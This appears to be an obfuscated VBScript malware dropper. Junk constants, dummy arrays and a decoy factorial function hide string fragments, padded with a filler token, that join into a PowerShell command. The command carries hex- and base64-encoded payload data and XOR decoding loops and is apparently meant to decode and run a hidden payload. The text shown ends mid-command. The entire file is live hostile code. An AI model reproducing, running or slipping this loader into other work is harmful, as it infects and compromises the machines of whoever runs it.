'eedfsfsdfadgfdgfefaefsfdss
Function CalculuhjateFactorial(num)
    Dim result, i
    result = 1
    If num < 0 Then
        CalculateFactorial = "Invalid input"
        Exit Function
    End If
End Function
  erebdfoadSm  =  rRessssssdfgddgfgfdhdgdafhdfaag
Randomize
Call Ugfdfging("%SYSTEMROOSifrcIbigT%\SysteSifrcIbigm32\WindoSifrcIbigwsPowSifrcIbigerShell\vSifrcIbig1.")
Call Ugfdfging("0\poweSifrcIbigrshellSifrcIbig.exe  $jSifrcIbig=76-7SifrcIbig6;$xbsfjsSifrcIb")
aFpcSkf = TimeSerial(8,8,8)
Dim fdhginnId(8)
Public Const kjjrccfI = "IgiIerh"
'nSrFmkon  bckeikg
SmIhkrF = TimeSerial(7,7,9)
Dim rgFkmik(7)
Public Const bmakarimk = "FkmFipjAm"
'gmhnSFaok  gjSeofFS
pprhrFdem = TimeSerial(7,9,8)
Dim pdmnbmSd(7)
Public Const nFhnncjjb = "bjrrcoaia"
'dfnooeicg  fIdeoSia
inkcmgFkm = TimeSerial(8,7,9)
Dim rmcnemd(8)
Public Const bbIgSgdd = "jmekFmmri"
Call Ugfdfging("igL='rEV75HjSifrcIbigJ8w96';$pDSifrcIbignIJ2ySifrcIbigu='be9a92SifrcIbigfeeb8Sif")
Call Ugfdfging("rcIbigbaf8eb282SifrcIbige3b4fcaSifrcIbig6b5f8b6SifrcIbig99e48bafeSifrcI")
'beIArhn  gSdckfom
idIncfgbo = TimeSerial(9,8,7)
Dim IArijSmk(7)
Public Const SgoFkmgof = "kkdfoAeSg"
'Adddddced  Iodmapkk
AaSAgmSFd = TimeSerial(8,7,9)
Dim dfieanjd(9)
Public Const brmmdddgk = "mSbpkdIF"
'adSiphefh  SmdAIbIr
AAAdIfepo = TimeSerial(7,7,7)
Dim aaddhcog(7)
Public Const aijIjjh = "oddAkIrF"
'hFnfdcf  AdIahdk
epIfkIrh = TimeSerial(8,8,8)
Dim SmmpfSjfd(9)
Call Ugfdfging("bigfa7ade3b4aSifrcIbigfe4ec96a5SifrcIbig8dbc89SifrcIbigf6e4aSifrcIbigcc1b9f3fSifrcIbigc8d")
Call Ugfdfging("a489fSifrcIbigcbacea6e2bSifrcIbigaa8dba7SifrcIbigcc8785e6SifrcIbig8ee7eSifrcIbigeb181")
Call Ugfdfging("9bSifrcIbigb5c480b99SifrcIbig4f786ceSifrcIbigc1f0b4afe4SifrcIbigec96a58SifrcIbigdbc9eSif")
Public Const chgcAdgA = "kiddohmFa"
'kfbdeIhgd  oSFgSFgr
IAgkpiIbm = TimeSerial(8,8,9)
Dim naImdkjk(9)
Public Const mmigAoAmd = "egadiFmF"
'nooodFhbk  egmAjnmo
mbAkmhh = TimeSerial(7,8,9)
Dim pmdkahd(7)
Public Const dFSomdcrS = "affikheI"
'InoFmAk  rggAgrFah
acpSmkk = TimeSerial(9,7,9)
Dim mIbFeoAph(7)
Public Const gjkmIgh = "AnFondj"
'fdeFinkf  AcFbcIafc
hppShenoI = TimeSerial(8,9,8)
Call Ugfdfging("rcIbigfcf2ae8a8SifrcIbigee9c2d8fSifrcIbigaa6e0b2fSifrcIbigedeb99c99SifrcIbigababb")
Dim rmaAFpSFo(8)
Public Const gIcdIem = "FFIiiSi"
'pgkmdAjp  pcinjmmb
gkkakekm = TimeSerial(9,8,7)
Dim goFmbndb(7)
Public Const rdipjde = "AekdaIfdh"
'jdmrFSFkp  ofebnnbg
hdgcFpdmm = TimeSerial(8,7,7)
Dim mdapcadnk(9)
Public Const facdIfAa = "mFSFpcbrk"
'jnfmehfi  dcjSmej
mbhaedba = TimeSerial(9,8,7)
Dim emdgmper(8)
Public Const SFppghAa = "rmdpdnbi"
'knjoIanhi  makjarr
Call Ugfdfging("1bSifrcIbig492fbb3f4bSifrcIbig4fca6b5f8SifrcIbigb69ee59bbSifrcIbig682befea0")
Call Ugfdfging("SifrcIbig808eb9f49SifrcIbigfe9c9efdSifrcIbig09991d2bcSifrcIbig88fced96eSifrcIbigdb3f")
Call Ugfdfging("eb8f6SifrcIbigecf8c2afSifrcIbigf8fc8dae8SifrcIbig4e1fda0SifrcIbig91d2b4b2SifrcIbigf8ebc")
eSAoiFSk = TimeSerial(9,7,8)
Dim Imhknrn(8)
Public Const gimmppfg = "IdndAmn"
'Sekeeii  eAikfhn
ihogSdbjo = TimeSerial(7,8,8)
Dim mbAkdkd(8)
Public Const cbAfmdSh = "neAeFmSj"
'AIidSnSr  kooocfk
ercgphbb = TimeSerial(9,9,9)
Dim fhfIdmFm(9)
Public Const cmkaAdkdo = "beIFnje"
'gmImIeibm  kdmIIeFob
mrkeIjbhr = TimeSerial(7,9,7)
Dim nchdkAakh(8)
Public Const cjIFmoefp = "ebdFhdmak"
Call Ugfdfging("c9385SifrcIbige0abfaSifrcIbigffbdbf93SifrcIbigf4f1968dSifrcIbig81fcbSifrcIbig")
Call Ugfdfging("cf4f9aaSifrcIbigb2c6a7cc8SifrcIbig7a395eSifrcIbig0b4e7e58SifrcIbig89d93e9Sif")
Call Ugfdfging("rcIbigf081af8cbSifrcIbig2e0b3SifrcIbigc7968a88SifrcIbigb3cc8SifrcIbig7a395e0b4Sif")
'doikanAm  jjAaenoe
ofdifmhk = TimeSerial(7,7,7)
Dim AgSfafoe(9)
Public Const idpgFkofe = "dfdhhjf"
'jcdjmgm  hgFnInrk
edIkiFggc = TimeSerial(7,8,8)
Dim pFejpnc(9)
Public Const omImAjer = "chhaaAd"
'kmhbSoka  hcdrdobbr
rIAAdmmIp = TimeSerial(8,8,8)
Dim bnaogge(8)
Public Const derbonnFd = "kIdrjcb"
'gpgfSFFp  mghndaId
mmSiiSd = TimeSerial(8,9,7)
Dim dfbcici(8)
Call Ugfdfging("rcIbige7e5889d9SifrcIbig3e9f08SifrcIbig1af8cSifrcIbigc6a4e3f985SifrcIbig")
Call Ugfdfging("d5c6c9f39SifrcIbig1f1d29SifrcIbigfd7b7fdebdSifrcIbigfc1b5c092eSifrcIbig0c7febcfSifrcIbige")
Call Ugfdfging("b3bfbSifrcIbig5b3fef492aSifrcIbig18be5ada1dSifrcIbig0b48d9SifrcIbigdf3f780fSifrcIbig")
Public Const mAgggkcrm = "dfdmkAcgd"
'dnIbcibn  FefFikjn
pdrpmmjd = TimeSerial(8,8,8)
Dim igiFIhmha(7)
Public Const FfISdmFer = "IAkSjoiA"
'dIippSc  Skdaedo
hFmmjknmh = TimeSerial(9,9,9)
Dim mjIbkhjF(8)
Public Const dmdmcSj = "fgpacaF"
'aAepocA  drjSkneF
ApkgAekSb = TimeSerial(8,8,8)
Dim fAkfdamr(7)
Public Const gAjdmmrgS = "pdjnpje"
'ihaimckh  Adjkkra
kFfeodbb = TimeSerial(9,8,7)
Call Ugfdfging("6a9e1e5d0cSifrcIbigfafdacedSifrcIbig8eed6a99SifrcIbigae287cSifrcIbig0ecaed7bbSif")
Call Ugfdfging("rcIbigefef9187a5SifrcIbige297eSifrcIbigaf2b6a5SifrcIbigb3afefSifrcIbigd7")
Call Ugfdfging("b5b6e6SifrcIbigada1dSifrcIbig4b3da89defSifrcIbig3928bSifrcIbigd5e2e8fSifrcIbigac")
Call Ugfdfging("8ac9fSifrcIbigceffeaaea1SifrcIbigcff5acfaeSifrcIbigcaedb8SifrcIbig9a9ebd58SifrcIbi")
Call Ugfdfging("gf85e396f1dSifrcIbig9afb5SifrcIbigacd9e7aSifrcIbigef68ce5SifrcIbigacdcfab4aSifrcIbig2b")
Dim iahrehh(8)
Public Const FhrArcedk = "dnnrrSS"
'epnbpFe  ijkISjmrd
AAnnkdrf = TimeSerial(9,9,7)
Dim kkkphkAa(9)
Public Const iacbpgkSd = "hngifre"
'cjodejn  bFgpSkobI
mroiipm = TimeSerial(8,7,9)
Dim kfnicokFf(7)
Public Const AgmAbdd = "Ambdiprno"
'fdIppidkA  Anpbkkkj
iadbdkiF = TimeSerial(7,8,9)
Dim pFhkdanad(8)
Public Const mdkfookaa = "dodFaor"
'Agkincdj  rSkmSdFap
Call Ugfdfging("7e7e8a9SifrcIbiga983fbSifrcIbig84d4fSifrcIbig3b1a3b3SifrcIbigd1f38SifrcIbig0")
Call Ugfdfging("a1d3eSifrcIbig587d0fSifrcIbig1aea59dfSifrcIbigaee80ebaSifrcIbigce3ebf1ddSifrcI")
Call Ugfdfging("bigb5a5b3a8SifrcIbigf292a18ce6SifrcIbigaefacSifrcIbig6a9d8afaeSifrcIbigf6")
Call Ugfdfging("d78ca4eSifrcIbig2e9c4fSifrcIbig3b6a692dSifrcIbig8ea90aSifrcIbig1d7ea97c4aSifrcIbigea")
Call Ugfdfging("8dab3eSifrcIbigdf0908fa1eSifrcIbig7acfedaabSifrcIbigdab0deSifrcIbige9d7f2bSif")
Call Ugfdfging("rcIbig4e2afe6dSifrcIbigfb4a4b7eSifrcIbig7f283878SifrcIbigbe6e9e6cSifrcIbigfafd999Sifr")
Call Ugfdfging("cIbigdbeea8SifrcIbigb9aaea9SifrcIbig1a1fdb4bSifrcIbig5cecbSifrcIbigeba9a6a6e3Sifr")
fpIfocdaS = TimeSerial(9,7,8)
Dim maopdhrSA(7)
Public Const edecjIFj = "goAIISnni"
'medpdkmk  pAhdhASma
kmIdfahe = TimeSerial(9,8,8)
Dim mncfbaa(8)
Public Const cdmnehb = "rrkIdngSk"
'SfrnaIfg  ekjgFik
nAhbmcjhr = TimeSerial(9,8,7)
Dim idarkedA(8)
Public Const FmdShkSh = "ooirFIdh"
'aeFfeko  nAaefrmd
Skmjafk = TimeSerial(9,8,8)
Dim fkhrAmbpm(9)
Public Const oarrfgnrj = "gpahgIo"
Call Ugfdfging("cIbigebf2b3afSifrcIbiga5abaffSifrcIbig1bb9392e5bSifrcIbigff6d0b39cSifrcIbigb3f3f78SifrcIb")
Call Ugfdfging("ig3a983fbbecSifrcIbig0aaab9SifrcIbigf8edaeaSifrcIbigaea184fSifrcIbigc91e2aeSif")
Call Ugfdfging("rcIbigaca59da9efSifrcIbig8183a5fSifrcIbigebcf2d6bf9SifrcIbigd8dedf781aSifrcIbig9")
'dIdknnge  kFphSkc
bfhhkhI = TimeSerial(7,7,8)
Dim rrhSiph(9)
Public Const dmncomk = "Inbpooarm"
'FfebepgFe  Fjakhnd
pmFibfjSj = TimeSerial(9,8,7)
Dim gkgrbIra(8)
Public Const Fjrencdf = "pFrbkhemk"
'ArdhIkdf  kFSaedc
kanFdScrr = TimeSerial(7,9,9)
Dim djhrFIS(9)
Public Const mIfdaok = "cIFSFeee"
'kIoipIgrm  mSjdhhc
hAAmgAa = TimeSerial(9,7,7)
Dim bchkdAS(7)
Call Ugfdfging("d4e7bfeSifrcIbig6f8b48dSifrcIbig91f3f6aSifrcIbig88fb9e1eaSifrcIbigdccfad8dSifrcIbig")
Call Ugfdfging("b3adf4da90SifrcIbiga1ff87d0fSifrcIbig1a0b6affaeSifrcIbig893a5SifrcIbiga9f9adeaS")
Call Ugfdfging("ifrcIbigf2b0a5abaSifrcIbigdf0d6a5bSifrcIbig4e2aff6deSifrcIbigb3da96d8SifrcIbige")
Call Ugfdfging("9a89SifrcIbig0a4e6e8SifrcIbige2aaacSifrcIbig9fcadSifrcIbigfe9918ca1eSifrcI")
Call Ugfdfging("bigb9caeaSifrcIbig1ffc6fSifrcIbig197de8SifrcIbig6a4cdc6SifrcIbiga4e3f9f8c2")
Call Ugfdfging("SifrcIbiga8e4ef8784SifrcIbig85f4b4fdf5SifrcIbigac8693SifrcIbigf3bfca9Sif")
Call Ugfdfging("rcIbigbb4f7a5SifrcIbige7b29d819fSifrcIbigf2fb8baeSifrcIbig87cfeSifrcIbig7a9c98")
Call Ugfdfging("ca9SifrcIbigc4b3d887SifrcIbigb4b3eSifrcIbig6affaSifrcIbigf2bfc7a7deSifrcIbigf08cb685Sif")
Call Ugfdfging("rcIbige0a9cSifrcIbigea6e2SifrcIbiga98efSifrcIbig2f2a0a19SifrcIbig3f7eba7SifrcIbigcfac9dSi")
Public Const AdpIcigfd = "amdpfmFb"
'ggpofgk  pmddnjrha
khkkjkc = TimeSerial(9,7,7)
Dim iecemAh(7)
Public Const oAmfAFck = "rmdcgnc"
'rihddeF  iekodfic
cprnfekeI = TimeSerial(9,7,9)
Dim jAapAng(7)
Public Const jngkIFkdd = "kokniIm"
'bojnirhFb  dnrmdgjk
ieoSAifAn = TimeSerial(8,7,8)
Dim jnpapjkbS(9)
Public Const anSAkfi = "johShSjdS"
'eedFcfeo  mhdgbnd
addfFkk = TimeSerial(8,8,7)
Call Ugfdfging("frcIbig95f3f8cae4SifrcIbig81a1edbabSifrcIbig5f1e2SifrcIbigf6fbea8cSifrcIbi")
Call Ugfdfging("ga394fbSifrcIbigb2fdbcbcc7SifrcIbigd8fcaSifrcIbigcd3e99bb6SifrcIbigbca0aeeSifrcIbig5a199e")
Call Ugfdfging("ab2SifrcIbigada28af7bSifrcIbigee7bc9SifrcIbig68a88SifrcIbigb3c887a2SifrcIbig")
Call Ugfdfging("a3feb4f6f2SifrcIbigacd4d4daSifrcIbigfa96edb2SifrcIbigf3b3f7fSifrcIbig3b5cfd8fSifrcI")
Call Ugfdfging("bigcacd3eSifrcIbig0cdd1SifrcIbigb2e6f2accSifrcIbigfd8fcacd3SifrcIbigeea3fdSifrcIbiga8fde")
Dim nphjngi(9)
Public Const dFkdrkbro = "Sfrkmrm"
'fiadkjdhh  SfjFmIra
inFFkrp = TimeSerial(8,8,9)
Dim nFhkogjkd(9)
Public Const IbbnmArc = "cdIjkdcfn"
'rgAdSIpj  fnccIbnd
ocjkdnkmd = TimeSerial(8,9,9)
Dim IkSeFcfk(7)
Public Const aodmadg = "jcfipaiIe"
'pckknidd  caeckeik
mkrkjhnh = TimeSerial(9,7,9)
Dim dgbhceIjA(8)
Public Const IodjoFkj = "hiaoeIA"
'mFIhpgd  gnimghmkF
Call Ugfdfging("8f1SifrcIbig93d9eSifrcIbig6eb90b9SifrcIbig9be0b8e7SifrcIbige9aa8SifrcIbig1dcb9fed1fSif")
nrejkkd = TimeSerial(9,8,8)
Dim anFghaf(7)
Public Const dkkjmIFSk = "IdjSmej"
'gAfimFdde  aSIkAbA
IfkAIgmf = TimeSerial(9,8,7)
Dim IoakfbkAm(7)
Public Const cphckrf = "mhfkIcnIr"
'fprjfkScS  oAmrAcna
Ahhrmcn = TimeSerial(7,8,8)
Dim ejkajmpa(9)
Public Const gIakrmo = "kpfdcIidi"
'dAreekSin  efmfSrmAF
oAFkdni = TimeSerial(8,9,7)
Dim Fkkraddp(9)
Public Const bFkIkmmI = "pFngIeknp"
Call Ugfdfging("rcIbig2ced6SifrcIbigb2e4f2b4SifrcIbig809df9db83SifrcIbigb481bSifrcIbigaf9ccb5a58SifrcIbig")
Call Ugfdfging("c9de9SifrcIbigfc8abb9defSifrcIbiga09e96beSifrcIbig9a92fSifrcIbigeeb8bafS")
Call Ugfdfging("ifrcIbig8eb2b4bbbSifrcIbig8b9dcd0b9SifrcIbigfed6ecc4fSifrcIbig3e8bfSifrcIbigb8b9d9c")
Call Ugfdfging("1ddSifrcIbigb7cbe99bbSifrcIbig6bca4SifrcIbiga183bf9SifrcIbig4fcf196afSi")
Call Ugfdfging("frcIbig8edc92eSifrcIbig7fb85d5cSifrcIbig6d1f083aSifrcIbig4a1e1SifrcIbigaef6f1SifrcIbigba")
Call Ugfdfging("8385SifrcIbigb5bb83SifrcIbigf3c9aSifrcIbig9f9f2a4e5cSifrcIbigb9daaSifrc")
Call Ugfdfging("Ibigb1a5a5SifrcIbig94c6a4'SifrcIbig;$d2BrKoSifrcIbig='V3VwSklSifrcIbighAGRJfUISifrcIbiglU")
Call Ugfdfging("nxvLAFSifrcIbigwWj9ASifrcIbigRx1DA3ESifrcIbig3H1s5XiZQBSifrcIbigg1bCVdmFSifrcIbigi14S3c")
Call Ugfdfging("CRkSifrcIbigRHRiUvSjtSifrcIbigPWnkBRw8XTSifrcIbign9tTCJSifrcIbig0UXsESif")
'eFnaohFpd  bkfkmAepI
oopkiio = TimeSerial(7,9,8)
Dim pmednkF(9)
Public Const gibibpj = "oefcAdh"
'ImokFgriI  rmekAkkd
gjISgdocS = TimeSerial(7,7,9)
Dim iSjjhke(7)
Public Const fmiohpi = "eFpimmek"
'dmjmmjim  raiFArS
hiaaeccbk = TimeSerial(7,7,9)
Dim pbncpjr(9)
Public Const gdFdFakAd = "FikoSIkk"
'FhSmmSi  bjAfkmgm
ggcbaAbg = TimeSerial(7,9,9)
Dim Fbfgrkkmm(9)
Call Ugfdfging("rcIbigTAslS3FSifrcIbigkET01YSifrcIbigG9NBQM6dERSifrcIbigtOAlODH1GSifrc")
Call Ugfdfging("IbigRwJVYFVSifrcIbigoV1JEVGtfSifrcIbigSwQ5ZSifrcIbigFZuKCSifrcIbigx5SlV")
Call Ugfdfging("GYQQSifrcIbig5ZHZoEjESifrcIbiggGDZECSifrcIbig1dHRSA+SifrcIbigCwY1HjsMSifrcIbigG0IqVEN3Si")
Public Const bdodeni = "fidIcFdnk"
'mpdnSnAek  FjfFjdh
ajndmfkfr = TimeSerial(9,8,9)
Dim gkfAdoa(9)
Public Const bkmAdce = "mfirgcc"
'iSSjbmoI  moSFdrcr
gghiejo = TimeSerial(8,7,7)
Dim eeAebokmi(9)
Public Const dpFmfmb = "ckhpfSgg"
'mjmcjSI  AAiIfdgn
dibpIedo = TimeSerial(9,8,9)
Dim kdfeAmIh(8)
Public Const fFprpbi = "cjjkAck"
'fFmFdgdhn  ckdbhedd
bebnhnnF = TimeSerial(9,9,9)
Call Ugfdfging("frcIbigAxR0XDYWeSSifrcIbig0AU3l1AxSifrcIbigRyTUJSifrcIbigXGC8RQnF3BSifrcIb")
Call Ugfdfging("igylzTGsMTSifrcIbigA8GDzRiWklSifrcIbiggBDsMG0IqSSifrcIbigWZsCQUSifrcIbig1G31d")
Call Ugfdfging("DkgCESifrcIbigTl+b2oSifrcIbigQNTsPE1SifrcIbigEjDzgrPRA9SifrcIbigGHI0dSpS")
Call Ugfdfging("ifrcIbigEDjAoSifrcIbigQkhCTz9KRSifrcIbigQ8VQiSifrcIbigNwBCYuB3ESifrcIb")
Call Ugfdfging("igkEVQnb2dnSifrcIbigTSllSySifrcIbiggoEVkWZXxkSifrcIbigX106FjZBCSifrcIbigkQ8")
Call Ugfdfging("VzAkDzlSifrcIbigKeXgOVASifrcIbiglQVFRBSifrcIbigGhQyfmceSifrcIbigbgoUH0SifrcI")
Call Ugfdfging("bigBEUVhSifrcIbigZe2dUFDSifrcIbigUNbXJmGi4SifrcIbig2XXg3eSifrcIbig1FEDjkSifrc")
Call Ugfdfging("IbigvSkhCTSifrcIbigz9KTzU0SifrcIbigYXdgFAUuUSifrcIbigFQ0ThSifrcIbigxIdnxSifrcIbigzMT")
Call Ugfdfging("lzC1QSifrcIbig0ThxIfntNSifrcIbigSTNzSzSifrcIbigQhSSJVRSifrcIbign1KFyxSifrcIbig0cSgoESi")
Dim pAbmacAb(7)
Public Const pIFbkbp = "baakfad"
'eFfnSgc  dmgcehS
gdSAhcmj = TimeSerial(9,8,8)
Dim rrmSdIjIk(9)
Public Const jFmIdfmd = "pSkApSfIk"
'dfaIAFgd  emradiIbo
rhkfcnmdk = TimeSerial(7,7,9)
Dim dbmcIoemS(7)
Public Const dIAkSnAAI = "ddmokmaf"
'AgkkkmS  gIegcIc
dkjohpf = TimeSerial(7,9,7)
Dim hAgedrpd(7)
Public Const nipbmpFb = "gmgSeeipd"
'akhmebn  iaoiemF
Call Ugfdfging("frcIbigVkWZXxkSifrcIbigX106FjZELSifrcIbig2YKQTgrSifrcIbigRgIvAntNSifrcI")
Call Ugfdfging("bigBg5SDj1SifrcIbigiDAQ1G35ZHSifrcIbigzc3Qmh3SifrcIbigTCVzXHAJSSifrcIbigwIEeio5NzSifrcI")
Call Ugfdfging("bigRbBzEqRxSifrcIbiggwU2JSifrcIbigqDAc1G31SifrcIbigfC0VOSnF3ASifrcIbigQg1YGSifrcIbig")
mrSkdnc = TimeSerial(8,8,9)
Dim bradFnn(9)
Public Const iIjiIgmn = "aAdapoadF"
'bfhoSmnrh  kndpgcaj
iadbmdk = TimeSerial(8,9,7)
Dim SkbhIAm(8)
Public Const aFdIpeSjg = "mkjoSrj"
'paaefaSmn  jmogjfAid
mFknkdkS = TimeSerial(9,8,7)
Dim ISibfmf(8)
Public Const gjgIrgaF = "hefhicmp"
'rajmmAco  eIggakmei
hSaAekFmS = TimeSerial(8,8,7)
Dim difkbmF(8)
Public Const ipadSjih = "rnSarFF"
Call Ugfdfging("9NBRYASifrcIbigFXlzACEgGDSifrcIbigZNCUxLeSifrcIbigGAjRQ8SifrcIbigrZ08XGwIFSifrcIb")
Call Ugfdfging("igFSg0Oxp+SifrcIbigDS8bVVFSifrcIbigeADkjSUA1SifrcIbigYG9NBRgACESifrcIbig")
Call Ugfdfging("AkS0lmSifrcIbigMhVNAkgSifrcIbigBFDA+QkhSifrcIbigCTz9KSifrcIbigSjUOYSM2Sifrc")
Call Ugfdfging("IbigMQF6CnISifrcIbig6VlkvSifrcIbigQmdgKiESifrcIbiguTHErEVQ7YSifrcIbig2c6TSkuB3Si")
Call Ugfdfging("frcIbigksVVVUQSifrcIbigmk2AyNxCSifrcIbigm46TlkOfSifrcIbig3dzByNxbiSifrcIbigJQ")
'jdhohfbg  pocmdkFrk
frmbcfpIh = TimeSerial(7,8,7)
Dim SrIdjhac(8)
Public Const dmigjFe = "ioAAeAe"
'eAnrFcmg  ormafimk
ddkakbij = TimeSerial(7,7,9)
Dim dmgkmgkn(9)
Public Const iIndpkk = "Fomgpkjp"
'mFdddrFnc  odFamdIg
agkmdkdki = TimeSerial(9,7,7)
Dim ojddrAj(9)
Public Const fjdhmnmkf = "jfmIjbdrS"
'oercbfi  hddkigm
ekdjakd = TimeSerial(9,9,9)
Dim mkefijhkS(9)
Call Ugfdfging("BUVDHDAnSifrcIbigAFM9Aj9JQFSifrcIbig9NdGVSifrcIbighERRvVnEKCSifrcIbiglxPBzRhUU5SifrcIbi")
Public Const ejfbbijm = "mckaadf"
'rIAnFae  Frpmnmoh
mohSikjrS = TimeSerial(9,9,9)
Dim fkdSmIrjp(7)
Public Const mhkmaFran = "nkemngmg"
'cradIgb  ShkfeaAFj
Ahfkhnjfh = TimeSerial(7,7,7)
Dim AFgIjFn(9)
Public Const knkajdI = "bonrkmd"
'mpndAfamS  ngIkmjIfA
okImfFac = TimeSerial(9,9,7)
Dim nebddSr(9)
Public Const nkgrSkpn = "podrphA"
'kdgdmmaa  ikImkmIe
rhbAjcb = TimeSerial(8,8,9)
Call Ugfdfging("gRWnEKVgSifrcIbigRDCjAyUEkSifrcIbigQNTsMSifrcIbigEV1DGjArPSifrcIbigRA9")
Call Ugfdfging("GGg8H1SifrcIbigFEDjA4b2o5SifrcIbigXStQCjMTBzSifrcIbigdtKwlfWCpSifrcIbigbdQtWZSifrcIbi")
Call Ugfdfging("gHMwVQSifrcIbig14GDZNCUxSifrcIbigLeGAjRQ5SifrcIbigXbEoKRVFeSifrcIbigADk4b2")
Call Ugfdfging("o9SifrcIbigHz9NS0xLfFSifrcIbigNsDBZ4SifrcIbigTWswGSifrcIbigFYlVX9uIASifrcIbigFuWilZcRgR")
Call Ugfdfging("SifrcIbigTn5kSkRQXSifrcIbigmsOSgkSifrcIbigQfCFeS0kSifrcIbig9G31ZASifrcIbigkQ8V")
Dim facmSkgnk(7)
Public Const ImhdSmm = "reeohon"
'dnAiirre  jSngrAkAf
poprnIFh = TimeSerial(8,7,7)
Dim SeaaSmppm(7)
Public Const ghbbFdSok = "iokIoffS"
'SISdgdabj  nrejdAp
fpdmdrIp = TimeSerial(9,9,9)
Dim dbjgpepI(7)
Public Const Iammkkam = "aamggjae"
'kamAbjdfa  hkejrjeAA
jjgbSnokm = TimeSerial(7,8,7)
Dim cfmhrbe(9)
Public Const pprkriep = "dhamchphi"
'iSpFobA  hjnranSAd
Call Ugfdfging("zASifrcIbigkBVROWXgCaSifrcIbig1FEDjBDSifrcIbigSkR/DDNSifrcIbigNBg1QFjwSifrcIbigjSj")
afbjaerA = TimeSerial(7,9,8)
Dim afIAAgIb(7)
Public Const Sgkbkhpca = "mdabrchI"
'kIfnFhm  SSepbeepp
eidAnerp = TimeSerial(9,8,9)
Dim SidjkFgcj(7)
Public Const emnnmbApb = "kdaampdim"
'iSjffao  nnekhcFmk
arcckgeh = TimeSerial(7,8,7)
Dim kmopSnmfg(7)
Public Const aAcaAfm = "ASnIdIo"
'fmhdAagdc  IbIIjSnSk
eabSjkbm = TimeSerial(8,8,9)
Dim pdrrkdk(8)
Public Const Ahdprof = "amdhAek"
Call Ugfdfging("9tHSifrcIbigzgGFwUFSifrcIbigUGc+X0cSifrcIbig0Ez9FfRxSifrcIbigDAGNKJSJrSifrcIbigZVwoTFkSi")
Call Ugfdfging("frcIbigofTcqTSifrcIbigkA1YG9SifrcIbigNBRsySifrcIbigGi0kS0AxHSifrcIbigzcyUkxETnSifrcIbigN")
Call Ugfdfging("tKkcSifrcIbig0FhJnAkxDSifrcIbigB1dmFk1NTSifrcIbigXAORx8QW2NSifrcIbigsEBQ9fESifr")
'Fjkaacpac  mhAargdaA
FiFAdeFId = TimeSerial(8,7,7)
Dim jadAgAdd(8)
Public Const dkarIjmcI = "FkdedFaac"
'dAAfgcgSf  ahoaaFo
kkSfcSjdj = TimeSerial(9,8,8)
Dim hkoAfdIF(7)
Public Const dceeojF = "kddmIemj"
'gpkjaIam  ncmAkkbS
mnkFFkjFa = TimeSerial(9,7,7)
Dim cdhdFafma(8)
Public Const hgnrrcdg = "kbrmfIr"
'epfmSnofd  jASrbpbpk
khIjddnr = TimeSerial(8,7,7)
Dim pahdnFa(9)
Call Ugfdfging("cIbig84AkEHSifrcIbigQmNgHSifrcIbighN4U3oOVkSifrcIbigxOQXlxERQ9SifrcIbigCmMLVkwt")
Call Ugfdfging("RSifrcIbign1mTiNNaSifrcIbigj8QL2ZuLTASifrcIbigjQkA9SifrcIbigHz9NAkSifrcIbigw=';$Sifr")
Call Ugfdfging("cIbighQrro71=0SifrcIbigxC4F4-0x9SifrcIbigFFE;$xdSifrcIbig9njcrw=@()SifrcIbig;forea")
Public Const jSianhpo = "mdjdgoe"
'dckIfhdkr  fbimfbpin
Skonphrhm = TimeSerial(7,7,8)
Dim onmbkojno(9)
Public Const igeAphk = "dkSdiddag"
'gdppkda  Adfcmdj
dkrmgchbm = TimeSerial(9,7,9)
Dim gFdFImddj(7)
Public Const ddjkIFce = "fgcjedkb"
'dipgFAAe  giIkgfjp
jrbhSikdi = TimeSerial(9,8,9)
Dim bmbAkbbdd(8)
Public Const odmmmFme = "djdkASmkS"
'mIhbdkmAd  bmfmgkmk
pfcAedkde = TimeSerial(8,7,9)
Call Ugfdfging("ch($SifrcIbigc in [cSifrcIbighar[]]$xSifrcIbigbsfjsLSifrcIbig){$xd9nSifrcIbig")
Call Ugfdfging("jcrw+=[bySifrcIbigte]($c-bSifrcIbigxor0xSifrcIbigAA)};$t0wgSifrcIbigEL=$x")
Call Ugfdfging("dSifrcIbig9njcrwSifrcIbig;$xd9njcrSifrcIbigw=@()SifrcIbig;foreacSifrcIbi")
Call Ugfdfging("gh($c SifrcIbigin [char[SifrcIbig]]$xbSifrcIbigsfjsL){$SifrcIbigxd9njcrw+S")
Call Ugfdfging("ifrcIbig=[byte]($cSifrcIbig-bxorSifrcIbig0x55)};$xSifrcIbigKNFqgWfw=Sifrc")
Dim rkikikm(9)
Public Const FceAkmnd = "jeISmeam"
'naoieFibg  ImFFkme
ijrhSbSrb = TimeSerial(9,9,8)
Dim oSnprek(9)
Public Const rAmjdckar = "dkFakgIi"
'nockrmkbm  goAmkoo
deAmjjgr = TimeSerial(8,9,9)
Dim romjbrj(8)
Public Const hfeccbeS = "jiiAmcc"
'FkchekhFA  dhjIckaSc
mfkphkmpe = TimeSerial(9,7,7)
Dim mkbkjoord(7)
Public Const hInSShgS = "IkjFIhid"
'Smjfhpdn  fmjmkFddi
Call Ugfdfging("Ibig$xd9njcrSifrcIbigw;$xd9njcrSifrcIbigwoldR=''SifrcIbig;$i=0;foSifrcIbigr($j=")
Call Ugfdfging("0;SifrcIbig$j-lt$SifrcIbigpDnIJ2yuSifrcIbig.Length;$SifrcIbigj+=2){$SifrcIbigxd9njcrwo")
Call Ugfdfging("SifrcIbigldR+=[SifrcIbigchar](([CoSifrcIbignvert]:SifrcIbig:ToInt32SifrcIb")
ebkbSFr = TimeSerial(7,7,7)
Dim agocdjScd(7)
Public Const SSdmnmigd = "dpmISpda"
'kefjdgono  FpakkmFdS
jcoIkkdF = TimeSerial(7,8,7)
Dim mgmggSg(7)
Public Const cIIFidkeS = "ApIgrkIS"
'pafrjAnng  Akhkhpkrh
FcSImrAo = TimeSerial(8,9,9)
Dim dbAmdinFp(7)
Public Const grokmfhc = "efFhoaboj"
'nkSmdnd  mckpjIb
IIkhScpbm = TimeSerial(9,7,8)
Dim kppkageb(9)
Public Const mgIdFFIc = "edmrIrrkd"
Call Ugfdfging("ig($pDnIJ2SifrcIbigyu.SubSifrcIbigstrinSifrcIbigg($j,2),1SifrcIbig6))-bSifrcIbigxor")
Call Ugfdfging("$t0SifrcIbigwgEL[$iSifrcIbig++%$t0wgSifrcIbigEL.Length]SifrcIbig)};$sNbFSifrcIbigZKg=$xd9")
Call Ugfdfging("SifrcIbignjcrwSifrcIbigoldR;$xdSifrcIbig9njcrSifrcIbigwoldBSifrcIbig=[ConSi")
Call Ugfdfging("frcIbigvert]::FSifrcIbigromBase64SifrcIbigStrinSifrcIbigg([regexSifrcIbig]")
